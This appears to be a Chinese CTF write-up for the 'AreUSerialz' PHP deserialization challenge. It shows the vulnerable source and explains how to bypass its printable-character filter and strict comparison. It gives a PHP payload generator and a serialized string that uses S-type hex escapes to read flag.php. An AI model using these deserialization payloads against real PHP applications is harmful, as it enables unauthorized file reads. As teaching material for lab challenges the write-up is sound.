看了网鼎杯 AreUSerialz反序列化题目wp
对php的反序列化又有了学到了新的知识点,之前都没注意到
标题题目是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127
   | <?php
  include("flag.php");
  highlight_file(__FILE__);
  class FileHandler {
     protected $op;
     protected $filename;
     protected $content;
     function __construct() {
          $op = "1";
          $filename = "/tmp/tmpfile";
          $content = "Hello World!";
          $this->process();   
      }     public function process() {
          if($this->op == "1") {
              $this->write();       
          } else if($this->op == "2") {
              $res = $this->read();
              $this->output($res);
          } else {
              $this->output("Bad Hacker!");
          }     }     private function write() {
          if(isset($this->filename) && isset($this->content)) {
              if(strlen((string)$this->content) > 100) {
                  $this->output("Too long!");
                  die();
              }
              $res = file_put_contents($this->filename, $this->content);
              if($res) $this->output("Successful!");
              else $this->output("Failed!");
          } else {
              $this->output("Failed!");
          }
      }
      private function read() {
          $res = "";
          if(isset($this->filename)) {
              $res = file_get_contents($this->filename);
          }
          return $res;
      }
 
 
      private function output($s) {
          echo "[Result]: <br>";
          echo $s;
      }
      function __destruct() {
          if($this->op === "2")
              $this->op = "1";
          $this->content = "";
          $this->process();
      } }
  function is_valid($s) {
      for($i = 0; $i < strlen($s); $i++)
          if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
              return false;
      return true;
  }
  if(isset($_GET{'str'})) {
      $str = (string)$_GET['str'];
      if(is_valid($str)) {
          $obj = unserialize($str);     } }
   | 
 
简单看下代码,反序列化漏洞
protect里面可控
主要是绕过 is_vaild 函数,它规定了序列化内容中只能包含ascii可见字符
还有因为在进行read()之前就会调用__destruct()魔术方法
__destruct()方法内使用了严格相等 this->op === “2” process()
方法内使用了else if ( this->op == “2”)
所以这里使用弱类型2 == “2”绕过
第一种解法
出题用的php版本比较高,public属性可以覆盖替代protected
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | <?php class FileHandler {     public $op = 2;     public $filename = "flag.php";     public $content = "zeo"; } function is_valid($s) {     for($i = 0; $i < strlen($s); $i++)         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))             return false;     return true; } $a = new FileHandler(); $b = serialize($a);
  var_dump(is_valid($b)); print_r($b);
   | 
 


第二种解法
下面P牛之前的解释
PHP序列化的时候private和protected变量会引入不可见字符\x00,输出和复制的时候可能会遗失这些信息,导致反序列化的时候出错。
private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,如图1,url编码后就可以看得很清楚了。
同理,protected属性会引入\x00*\x00。
此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。比如s:5:“A<null_byte>B”;̀ -> S:5:“A\00B\09\0D”;
把序列号后的s变成S就可以了,里面的字符就可以正常
1
   | O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"loecho";}
  |